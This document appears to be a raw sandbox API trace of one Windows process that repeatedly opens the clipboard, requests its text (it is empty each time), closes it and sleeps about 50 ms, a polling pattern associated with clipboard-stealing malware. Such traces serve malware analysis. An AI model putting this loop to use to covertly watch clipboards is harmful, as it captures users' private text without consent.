[0250.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.671] GetClipboardData (uFormat=0x1) returned 0x0
[0250.671] CloseClipboard () returned 1
[0250.671] Sleep (dwMilliseconds=0x32)
[0250.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0609063, dwHighDateTime=0x1d96e12))
[0250.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.679] GetClipboardData (uFormat=0x1) returned 0x0
[0250.679] CloseClipboard () returned 1
[0250.680] Sleep (dwMilliseconds=0x32)
[0250.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf062f2c7, dwHighDateTime=0x1d96e12))
[0250.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.697] GetClipboardData (uFormat=0x1) returned 0x0
[0250.697] CloseClipboard () returned 1
[0250.697] Sleep (dwMilliseconds=0x32)
[0250.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf065551f, dwHighDateTime=0x1d96e12))
[0250.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.711] GetClipboardData (uFormat=0x1) returned 0x0
[0250.711] CloseClipboard () returned 1
[0250.711] Sleep (dwMilliseconds=0x32)
[0250.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf067b77f, dwHighDateTime=0x1d96e12))
[0250.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.726] GetClipboardData (uFormat=0x1) returned 0x0
[0250.726] CloseClipboard () returned 1
[0250.726] Sleep (dwMilliseconds=0x32)
[0250.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf06a19ce, dwHighDateTime=0x1d96e12))
[0250.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.743] GetClipboardData (uFormat=0x1) returned 0x0
[0250.743] CloseClipboard () returned 1
[0250.743] Sleep (dwMilliseconds=0x32)
[0250.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf06c7c24, dwHighDateTime=0x1d96e12))
[0250.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.758] GetClipboardData (uFormat=0x1) returned 0x0
[0250.758] CloseClipboard () returned 1
[0250.758] Sleep (dwMilliseconds=0x32)
[0250.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf06ede85, dwHighDateTime=0x1d96e12))
[0250.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.773] GetClipboardData (uFormat=0x1) returned 0x0
[0250.773] CloseClipboard () returned 1
[0250.773] Sleep (dwMilliseconds=0x32)
[0250.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf07140de, dwHighDateTime=0x1d96e12))
[0250.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.790] GetClipboardData (uFormat=0x1) returned 0x0
[0250.790] CloseClipboard () returned 1
[0250.790] Sleep (dwMilliseconds=0x32)
[0250.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf073a338, dwHighDateTime=0x1d96e12))
[0250.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.805] GetClipboardData (uFormat=0x1) returned 0x0
[0250.805] CloseClipboard () returned 1
[0250.805] Sleep (dwMilliseconds=0x32)
[0250.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf076058f, dwHighDateTime=0x1d96e12))
[0250.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.821] GetClipboardData (uFormat=0x1) returned 0x0
[0250.822] CloseClipboard () returned 1
[0250.822] Sleep (dwMilliseconds=0x32)
[0250.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf07867ff, dwHighDateTime=0x1d96e12))
[0250.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.836] GetClipboardData (uFormat=0x1) returned 0x0
[0250.836] CloseClipboard () returned 1
[0250.836] Sleep (dwMilliseconds=0x32)
[0250.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf07aca43, dwHighDateTime=0x1d96e12))
[0250.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.851] GetClipboardData (uFormat=0x1) returned 0x0
[0250.851] CloseClipboard () returned 1
[0250.851] Sleep (dwMilliseconds=0x32)
[0250.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf07d2c9e, dwHighDateTime=0x1d96e12))
[0250.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.868] GetClipboardData (uFormat=0x1) returned 0x0
[0250.868] CloseClipboard () returned 1
[0250.868] Sleep (dwMilliseconds=0x32)
[0250.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf07f8ef6, dwHighDateTime=0x1d96e12))
[0250.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.883] GetClipboardData (uFormat=0x1) returned 0x0
[0250.883] CloseClipboard () returned 1
[0250.883] Sleep (dwMilliseconds=0x32)
[0250.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf081f157, dwHighDateTime=0x1d96e12))
[0250.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.898] GetClipboardData (uFormat=0x1) returned 0x0
[0250.898] CloseClipboard () returned 1
[0250.898] Sleep (dwMilliseconds=0x32)
[0250.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf08453b8, dwHighDateTime=0x1d96e12))
[0250.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.915] GetClipboardData (uFormat=0x1) returned 0x0
[0250.915] CloseClipboard () returned 1
[0250.916] Sleep (dwMilliseconds=0x32)
[0250.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf086b616, dwHighDateTime=0x1d96e12))
[0250.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.929] GetClipboardData (uFormat=0x1) returned 0x0
[0250.929] CloseClipboard () returned 1
[0250.929] Sleep (dwMilliseconds=0x32)
[0250.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0891860, dwHighDateTime=0x1d96e12))
[0250.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.947] GetClipboardData (uFormat=0x1) returned 0x0
[0250.947] CloseClipboard () returned 1
[0250.947] Sleep (dwMilliseconds=0x32)
[0250.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf08b7ac9, dwHighDateTime=0x1d96e12))
[0250.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.961] GetClipboardData (uFormat=0x1) returned 0x0
[0250.961] CloseClipboard () returned 1
[0250.961] Sleep (dwMilliseconds=0x32)
[0250.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf08ddd17, dwHighDateTime=0x1d96e12))
[0250.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.976] GetClipboardData (uFormat=0x1) returned 0x0
[0250.976] CloseClipboard () returned 1
[0250.976] Sleep (dwMilliseconds=0x32)
[0250.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0903f6f, dwHighDateTime=0x1d96e12))
[0250.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.993] GetClipboardData (uFormat=0x1) returned 0x0
[0250.993] CloseClipboard () returned 1
[0250.993] Sleep (dwMilliseconds=0x32)
[0251.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf092a1cc, dwHighDateTime=0x1d96e12))
[0251.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.008] GetClipboardData (uFormat=0x1) returned 0x0
[0251.008] CloseClipboard () returned 1
[0251.008] Sleep (dwMilliseconds=0x32)
[0251.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0950426, dwHighDateTime=0x1d96e12))
[0251.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.024] GetClipboardData (uFormat=0x1) returned 0x0
[0251.024] CloseClipboard () returned 1
[0251.024] Sleep (dwMilliseconds=0x32)
[0251.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0976681, dwHighDateTime=0x1d96e12))
[0251.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.040] GetClipboardData (uFormat=0x1) returned 0x0
[0251.040] CloseClipboard () returned 1
[0251.040] Sleep (dwMilliseconds=0x32)
[0251.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf099c8d7, dwHighDateTime=0x1d96e12))
[0251.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.054] GetClipboardData (uFormat=0x1) returned 0x0
[0251.054] CloseClipboard () returned 1
[0251.054] Sleep (dwMilliseconds=0x32)
[0251.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf09c2b2d, dwHighDateTime=0x1d96e12))
[0251.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.071] GetClipboardData (uFormat=0x1) returned 0x0
[0251.071] CloseClipboard () returned 1
[0251.072] Sleep (dwMilliseconds=0x32)
[0251.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf09e8d85, dwHighDateTime=0x1d96e12))
[0251.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.086] GetClipboardData (uFormat=0x1) returned 0x0
[0251.086] CloseClipboard () returned 1
[0251.086] Sleep (dwMilliseconds=0x32)
[0251.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0a0efe1, dwHighDateTime=0x1d96e12))
[0251.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.101] GetClipboardData (uFormat=0x1) returned 0x0
[0251.101] CloseClipboard () returned 1
[0251.101] Sleep (dwMilliseconds=0x32)
[0251.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0a3523c, dwHighDateTime=0x1d96e12))
[0251.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.118] GetClipboardData (uFormat=0x1) returned 0x0
[0251.118] CloseClipboard () returned 1
[0251.118] Sleep (dwMilliseconds=0x32)
[0251.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0a5b4a6, dwHighDateTime=0x1d96e12))
[0251.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.133] GetClipboardData (uFormat=0x1) returned 0x0
[0251.133] CloseClipboard () returned 1
[0251.133] Sleep (dwMilliseconds=0x32)
[0251.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0a816f8, dwHighDateTime=0x1d96e12))
[0251.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.148] GetClipboardData (uFormat=0x1) returned 0x0
[0251.148] CloseClipboard () returned 1
[0251.148] Sleep (dwMilliseconds=0x32)
[0251.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0aa7947, dwHighDateTime=0x1d96e12))
[0251.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.165] GetClipboardData (uFormat=0x1) returned 0x0
[0251.165] CloseClipboard () returned 1
[0251.165] Sleep (dwMilliseconds=0x32)
[0251.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0acdbaa, dwHighDateTime=0x1d96e12))
[0251.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.179] GetClipboardData (uFormat=0x1) returned 0x0
[0251.179] CloseClipboard () returned 1
[0251.180] Sleep (dwMilliseconds=0x32)
[0251.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0af3dfb, dwHighDateTime=0x1d96e12))
[0251.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.196] GetClipboardData (uFormat=0x1) returned 0x0
[0251.196] CloseClipboard () returned 1
[0251.196] Sleep (dwMilliseconds=0x32)
[0251.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0b1a061, dwHighDateTime=0x1d96e12))
[0251.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.211] GetClipboardData (uFormat=0x1) returned 0x0
[0251.211] CloseClipboard () returned 1
[0251.211] Sleep (dwMilliseconds=0x32)
[0251.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0b402b6, dwHighDateTime=0x1d96e12))
[0251.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.226] GetClipboardData (uFormat=0x1) returned 0x0
[0251.226] CloseClipboard () returned 1
[0251.226] Sleep (dwMilliseconds=0x32)
[0251.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0b6650e, dwHighDateTime=0x1d96e12))
[0251.244] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.244] GetClipboardData (uFormat=0x1) returned 0x0
[0251.244] CloseClipboard () returned 1
[0251.244] Sleep (dwMilliseconds=0x32)
[0251.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0b8c767, dwHighDateTime=0x1d96e12))
[0251.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.257] GetClipboardData (uFormat=0x1) returned 0x0
[0251.258] CloseClipboard () returned 1
[0251.258] Sleep (dwMilliseconds=0x32)
[0251.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0bb29ca, dwHighDateTime=0x1d96e12))
[0251.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.273] GetClipboardData (uFormat=0x1) returned 0x0
[0251.273] CloseClipboard () returned 1
[0251.274] Sleep (dwMilliseconds=0x32)
[0251.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0bd8c2d, dwHighDateTime=0x1d96e12))
[0251.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.290] GetClipboardData (uFormat=0x1) returned 0x0
[0251.290] CloseClipboard () returned 1
[0251.290] Sleep (dwMilliseconds=0x32)
[0251.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0bfee7b, dwHighDateTime=0x1d96e12))
[0251.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.304] GetClipboardData (uFormat=0x1) returned 0x0
[0251.304] CloseClipboard () returned 1
[0251.305] Sleep (dwMilliseconds=0x32)
[0251.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0c250cf, dwHighDateTime=0x1d96e12))
[0251.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.321] GetClipboardData (uFormat=0x1) returned 0x0
[0251.321] CloseClipboard () returned 1
[0251.321] Sleep (dwMilliseconds=0x32)
[0251.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0c4b33b, dwHighDateTime=0x1d96e12))
[0251.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.336] GetClipboardData (uFormat=0x1) returned 0x0
[0251.336] CloseClipboard () returned 1
[0251.336] Sleep (dwMilliseconds=0x32)
[0251.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0c71582, dwHighDateTime=0x1d96e12))
[0251.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.351] GetClipboardData (uFormat=0x1) returned 0x0
[0251.351] CloseClipboard () returned 1
[0251.352] Sleep (dwMilliseconds=0x32)
[0251.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0c977df, dwHighDateTime=0x1d96e12))
[0251.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.368] GetClipboardData (uFormat=0x1) returned 0x0
[0251.368] CloseClipboard () returned 1
[0251.368] Sleep (dwMilliseconds=0x32)
[0251.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0cbda38, dwHighDateTime=0x1d96e12))
[0251.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.382] GetClipboardData (uFormat=0x1) returned 0x0
[0251.383] CloseClipboard () returned 1
[0251.383] Sleep (dwMilliseconds=0x32)
[0251.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0ce3ca0, dwHighDateTime=0x1d96e12))
[0251.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.398] GetClipboardData (uFormat=0x1) returned 0x0
[0251.398] CloseClipboard () returned 1
[0251.398] Sleep (dwMilliseconds=0x32)
[0251.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0d09eeb, dwHighDateTime=0x1d96e12))
[0251.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.415] GetClipboardData (uFormat=0x1) returned 0x0
[0251.415] CloseClipboard () returned 1
[0251.415] Sleep (dwMilliseconds=0x32)
[0251.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0d3014f, dwHighDateTime=0x1d96e12))
[0251.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.434] GetClipboardData (uFormat=0x1) returned 0x0
[0251.434] CloseClipboard () returned 1
[0251.434] Sleep (dwMilliseconds=0x32)
[0251.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0d563e8, dwHighDateTime=0x1d96e12))
[0251.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.446] GetClipboardData (uFormat=0x1) returned 0x0
[0251.446] CloseClipboard () returned 1
[0251.446] Sleep (dwMilliseconds=0x32)
[0251.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0d7c60e, dwHighDateTime=0x1d96e12))
[0251.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.461] GetClipboardData (uFormat=0x1) returned 0x0
[0251.461] CloseClipboard () returned 1
[0251.461] Sleep (dwMilliseconds=0x32)
[0251.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0da2884, dwHighDateTime=0x1d96e12))
[0251.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.476] GetClipboardData (uFormat=0x1) returned 0x0
[0251.476] CloseClipboard () returned 1
[0251.476] Sleep (dwMilliseconds=0x32)
[0251.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0dc8aef, dwHighDateTime=0x1d96e12))
[0251.502] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.502] GetClipboardData (uFormat=0x1) returned 0x0
[0251.502] CloseClipboard () returned 1
[0251.502] Sleep (dwMilliseconds=0x32)
[0251.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0e8764c, dwHighDateTime=0x1d96e12))
[0251.582] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.582] GetClipboardData (uFormat=0x1) returned 0x0
[0251.582] CloseClipboard () returned 1
[0251.582] Sleep (dwMilliseconds=0x32)
[0251.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0ead8e9, dwHighDateTime=0x1d96e12))
[0251.594] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.594] GetClipboardData (uFormat=0x1) returned 0x0
[0251.594] CloseClipboard () returned 1
[0251.594] Sleep (dwMilliseconds=0x32)
[0251.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0ed3b40, dwHighDateTime=0x1d96e12))
[0251.605] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.605] GetClipboardData (uFormat=0x1) returned 0x0
[0251.796] CloseClipboard () returned 1
[0251.796] Sleep (dwMilliseconds=0x32)
[0251.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf10c39a0, dwHighDateTime=0x1d96e12))
[0251.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.824] GetClipboardData (uFormat=0x1) returned 0x0
[0251.824] CloseClipboard () returned 1
[0251.824] Sleep (dwMilliseconds=0x32)
[0251.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf110fe93, dwHighDateTime=0x1d96e12))
[0251.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.836] GetClipboardData (uFormat=0x1) returned 0x0
[0251.836] CloseClipboard () returned 1
[0251.836] Sleep (dwMilliseconds=0x32)
[0251.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf11360b1, dwHighDateTime=0x1d96e12))
[0251.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.851] GetClipboardData (uFormat=0x1) returned 0x0
[0251.851] CloseClipboard () returned 1
[0251.851] Sleep (dwMilliseconds=0x32)
[0251.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf115c357, dwHighDateTime=0x1d96e12))
[0251.867] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.867] GetClipboardData (uFormat=0x1) returned 0x0
[0251.867] CloseClipboard () returned 1
[0251.867] Sleep (dwMilliseconds=0x32)
[0251.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf1182558, dwHighDateTime=0x1d96e12))
[0251.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.883] GetClipboardData (uFormat=0x1) returned 0x0
[0251.883] CloseClipboard () returned 1
[0251.883] Sleep (dwMilliseconds=0x32)
[0251.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf11a87df, dwHighDateTime=0x1d96e12))
[0251.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.898] GetClipboardData (uFormat=0x1) returned 0x0
[0251.898] CloseClipboard () returned 1
[0251.898] Sleep (dwMilliseconds=0x32)
[0251.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf11cea57, dwHighDateTime=0x1d96e12))
[0251.914] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.914] GetClipboardData (uFormat=0x1) returned 0x0
[0251.914] CloseClipboard () returned 1
[0251.914] Sleep (dwMilliseconds=0x32)
[0251.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf11f4ca7, dwHighDateTime=0x1d96e12))
[0251.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.929] GetClipboardData (uFormat=0x1) returned 0x0
[0251.930] CloseClipboard () returned 1
[0251.930] Sleep (dwMilliseconds=0x32)
[0251.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf121aee4, dwHighDateTime=0x1d96e12))
[0251.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.946] GetClipboardData (uFormat=0x1) returned 0x0
[0251.948] CloseClipboard () returned 1
[0251.948] Sleep (dwMilliseconds=0x32)
[0251.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf124117f, dwHighDateTime=0x1d96e12))
[0251.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.961] GetClipboardData (uFormat=0x1) returned 0x0
[0251.961] CloseClipboard () returned 1
[0251.961] Sleep (dwMilliseconds=0x32)
[0251.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf12673c4, dwHighDateTime=0x1d96e12))
[0251.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.976] GetClipboardData (uFormat=0x1) returned 0x0
[0251.976] CloseClipboard () returned 1
[0251.976] Sleep (dwMilliseconds=0x32)
[0251.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf128d5f8, dwHighDateTime=0x1d96e12))
[0251.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0251.992] GetClipboardData (uFormat=0x1) returned 0x0
[0251.992] CloseClipboard () returned 1
[0251.992] Sleep (dwMilliseconds=0x32)
[0252.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf12b3860, dwHighDateTime=0x1d96e12))
[0252.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.008] GetClipboardData (uFormat=0x1) returned 0x0
[0252.008] CloseClipboard () returned 1
[0252.008] Sleep (dwMilliseconds=0x32)
[0252.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf12d9aba, dwHighDateTime=0x1d96e12))
[0252.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0252.023] GetClipboardData (uFormat=0x1) returned 0x0
[0252.024] CloseClipboard () returned 1
[0252.024] Sleep (dwMilliseconds=0x32)
